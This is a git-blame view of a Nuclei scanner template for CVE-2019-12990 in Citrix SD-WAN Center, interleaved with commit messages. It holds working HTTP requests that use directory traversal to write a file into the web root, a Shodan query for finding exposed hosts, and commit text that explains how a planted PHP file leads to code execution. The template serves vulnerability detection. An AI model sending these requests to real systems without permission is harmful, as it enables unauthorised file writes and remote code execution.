daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2019/CVE-2019-12990.yaml

56 lines
2.5 KiB
YAML
Raw Normal View History

Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
id: CVE-2019-12990
info:
Enhancement: cves/2019/CVE-2019-12990.yaml by md
2023-04-12 18:06:25 +00:00
name: Citrix SD-WAN Center - Local File Inclusion
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
author: gy741
severity: critical
description: |
Enhancement: cves/2019/CVE-2019-12990.yaml by md
2023-04-12 18:06:25 +00:00
Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
updated 2019 CVEs
2023-09-06 12:53:28 +00:00
remediation: |
Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
reference:
- https://www.tenable.com/security/research/tra-2019-31
Auto Generated CVE annotations [Fri Mar 31 07:11:11 UTC 2023] :robot:
2023-03-31 07:11:11 +00:00
- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
Enhancement: cves/2019/CVE-2019-12990.yaml by md
2023-04-12 18:06:25 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
TemplateMan Update [Wed Nov 8 06:56:05 UTC 2023] :robot:
2023-11-08 06:56:05 +00:00
- https://support.citrix.com/search?searchQuery=%2A&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
classification:
Auto Generated CVE annotations [Fri Mar 31 07:11:11 UTC 2023] :robot:
2023-03-31 07:11:11 +00:00
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
cvss-score: 9.8
cve-id: CVE-2019-12990
cwe-id: CWE-22
TemplateMan Update [Fri Nov 10 09:15:00 UTC 2023] :robot:
2023-11-10 09:15:01 +00:00
epss-score: 0.94814
TemplateMan Update [Thu Nov 23 06:31:40 UTC 2023] :robot:
2023-11-23 06:31:41 +00:00
epss-percentile: 0.99071
updated 2019 CVEs
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
metadata:
Added max request counter of each template
2023-04-28 08:11:21 +00:00
max-request: 3
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: citrix
product: netscaler_sd-wan
updated 2019 CVEs
2023-09-06 12:53:28 +00:00
shodan-query: http.title:"Citrix SD-WAN"
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
- raw:
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
- |
GET /login HTTP/1.1
Host: {{Hostname}}
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
- |
POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
- |
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
GET /talari/app/files/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers:
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
- type: dsl
dsl:
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- contains(header, "text/html")
- status_code_3 == 200
- contains(body_1, "<title>Citrix SD-WAN</title>")
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
condition: and
TemplateMan Update [Thu Nov 23 07:42:51 UTC 2023] :robot:
2023-11-23 07:42:52 +00:00
# digest: 4a0a00473045022064e7769e949952387d8d15bc023cbdc50a52b1631164c1e00054b400f2c58d850221008e09ade789e613b29d7df893f7a4eb89b19683128c839e94ca6e33a05e4eacb7:922c64590222798bb761d5b6d8e72950